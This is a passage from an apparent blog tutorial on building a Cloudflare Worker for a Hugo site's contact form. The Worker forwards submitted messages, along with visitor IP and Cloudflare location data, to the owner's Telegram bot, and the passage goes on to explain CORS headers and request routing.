</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">messageSend</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({ <span style="color:#e6db74">&#34;chat_id&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">CHATID</span>, <span style="color:#e6db74">&#34;text&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">BODY</span> });
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">bot_url</span>, { <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>, <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> { <span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span> }, <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">messageSend</span> });
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">response</span>;
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#a6e22e">error</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">UPDATE</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">obj</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">json</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">BODY</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    from: blzr.sbs            
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    =================================
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Message : 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">MSG</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    =================================
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    User Agent = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">UA</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Language = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">LANG</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    SYS DT = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">DT</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">obj</span>.<span style="color:#a6e22e">ZONE</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    =================================
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    IP = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;CF-Connecting-IP&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    CF Edge = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">colo</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    LOCATION = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">city</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">country</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">postalCode</span><span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">region</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Location = https://www.google.com/maps/place/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">latitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">+</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">longitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Timezone = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">timezone</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ISP = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">asOrganization</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ====================================`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">TG</span>(<span style="color:#a6e22e">BODY</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">ACTIVITY</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">BODY</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ACTIVITY LOG
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    IP = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;CF-Connecting-IP&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    CF-RAY = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;cf-ray&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    User-Agent = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;user-agent&#39;</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Colo = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">colo</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Country = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">country</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    City = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">city</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Location = https://www.google.com/maps/place/</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">latitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">+</span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">longitude</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ASN = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">asn</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    PostalCode = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">postalCode</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Region = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">region</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Timezone = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">timezone</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    Organization = </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">cf</span>.<span style="color:#a6e22e">asOrganization</span><span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    BODY = 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#66d9ef">await</span> <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">json</span>(), <span style="color:#66d9ef">null</span>, <span style="color:#ae81ff">2</span>)<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    ====================================`</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">TG</span>(<span style="color:#a6e22e">BODY</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">handleOptions</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;Origin&#34;</span>) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;Access-Control-Request-Method&#34;</span>) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;Access-Control-Request-Headers&#34;</span>) <span style="color:#f92672">!==</span> <span style="color:#66d9ef">null</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#66d9ef">null</span>, {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">corsHeaders</span>
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#66d9ef">null</span>, {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Allow&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;OPTIONS&#34;</span>,
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">handleRequest</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">url</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ((<span style="color:#a6e22e">url</span>.<span style="color:#a6e22e">pathname</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;/submit&#34;</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;POST&#34;</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;Origin&#39;</span>) <span style="color:#f92672">===</span> <span style="color:#a6e22e">ORIGIN_URI</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">UPDATE</span>(<span style="color:#a6e22e">request</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({ <span style="color:#a6e22e">COMMENT</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;If you are seeing this, then we have a lot in common&#39;</span> }), {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">status</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span>,
</span></span><span style="display:flex;"><span>                ...<span style="color:#a6e22e">corsHeaders</span>,
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;OPTIONS&#34;</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">handleOptions</span>(<span style="color:#a6e22e">request</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">ACTIVITY</span>(<span style="color:#a6e22e">request</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#e6db74">&#39;492077696c6c206e6f742070726f6365737320746869732072657175657374&#39;</span>, {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> { <span style="color:#e6db74">&#39;content-type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;text/html&#39;</span> },
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">status</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">405</span>
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<h5 id="cors-headers">CORS Headers</h5>
<p>Let us see Lines 1 to 5 first, as this is most important, and I had spent most of my debugging time here.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">corsHeaders</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Access-Control-Allow-Origin&#34;</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">ORIGIN_URI</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Access-Control-Allow-Methods&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;POST, OPTIONS&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Access-Control-Allow-Headers&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;Content-Type&#34;</span>,
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p><code>CORS</code> or Cross Origin Request Sharing, is a <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>&ldquo;mechanism that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources. CORS also relies on a mechanism by which browsers make a &ldquo;preflight&rdquo; request to the server hosting the cross-origin resource, in order to check that the server will permit the actual request. In that preflight, the browser sends headers that indicate the HTTP method and headers that will be used in the actual request.&rdquo;</p>

    <aside class="admonition tip">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-sun">
      <circle cx="12" cy="12" r="5"></circle>
      <line x1="12" y1="1" x2="12" y2="3"></line>
      <line x1="12" y1="21" x2="12" y2="23"></line>
      <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
      <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
      <line x1="1" y1="12" x2="3" y2="12"></line>
      <line x1="21" y1="12" x2="23" y2="12"></line>
      <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
      <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
   </svg></div><b>Basic CORS rules</b>
        </div>
        <div class="admonition-content"><p>Before getting started, let’s review when Cross Origin Resource Sharing (CORS) is required.</p>
<ul>
<li>Used when a web page needs to access something that is hosted on a different domain.</li>
<li>Never used for HTTP requests made with the methods: <code>GET</code>, <code>HEAD</code> or <code>OPTIONS</code>.</li>
<li>Is a browser-to-server protocol. It uses HTTP for communication, but HTTP per se knows nothing about CORS. Because of this, requests sent via cURL, or tools like Postman, do not involve CORS, and will succeed, while the same request made by the browser will fail.</li>
<li>CORS does not enhance website security, rather it weakens security. Implementing it carefully is important.</li>
</ul></div>
    </aside>
<p>In other words, this allows me to transfer data from my Hugo site to the worker, and stopping browser from complaining. It is a HTTP Header based system. I am allowing <code>POST</code> and <code>OPTIONS</code> methods from <code>ORIGIN_URI</code> (which we had set up in wrangler.toml) and accepting additional header of <code>Content-Type</code> to be sent to Worker.</p>
<p>Now, that&rsquo;s done, we can move to the next part, which will run when we receive a data packet from the internet.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">113
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">handleRequest</span>(<span style="color:#a6e22e">request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">url</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> ((<span style="color:#a6e22e">url</span>.<span style="color:#a6e22e">pathname</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;/submit&#34;</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;POST&#34;</span>) <span style="color:#f92672">&amp;&amp;</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">headers</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;Origin&#39;</span>) <span style="color:#f92672">===</span> <span style="color:#a6e22e">ORIGIN_URI</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">UPDATE</span>(<span style="color:#a6e22e">request</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>({ <span style="color:#a6e22e">COMMENT</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;If you are seeing this, then we have a lot in common&#39;</span> }), {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">status</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Content-Type&#34;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;application/json&#34;</span>,
</span></span><span style="display:flex;"><span>                ...<span style="color:#a6e22e">corsHeaders</span>,
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">request</span>.<span style="color:#a6e22e">method</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;OPTIONS&#34;</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">handleOptions</span>(<span style="color:#a6e22e">request</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">ACTIVITY</span>(<span style="color:#a6e22e">request</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Response</span>(<span style="color:#e6db74">&#39;492077696c6c206e6f742070726f6365737320746869732072657175657374&#39;</span>, {
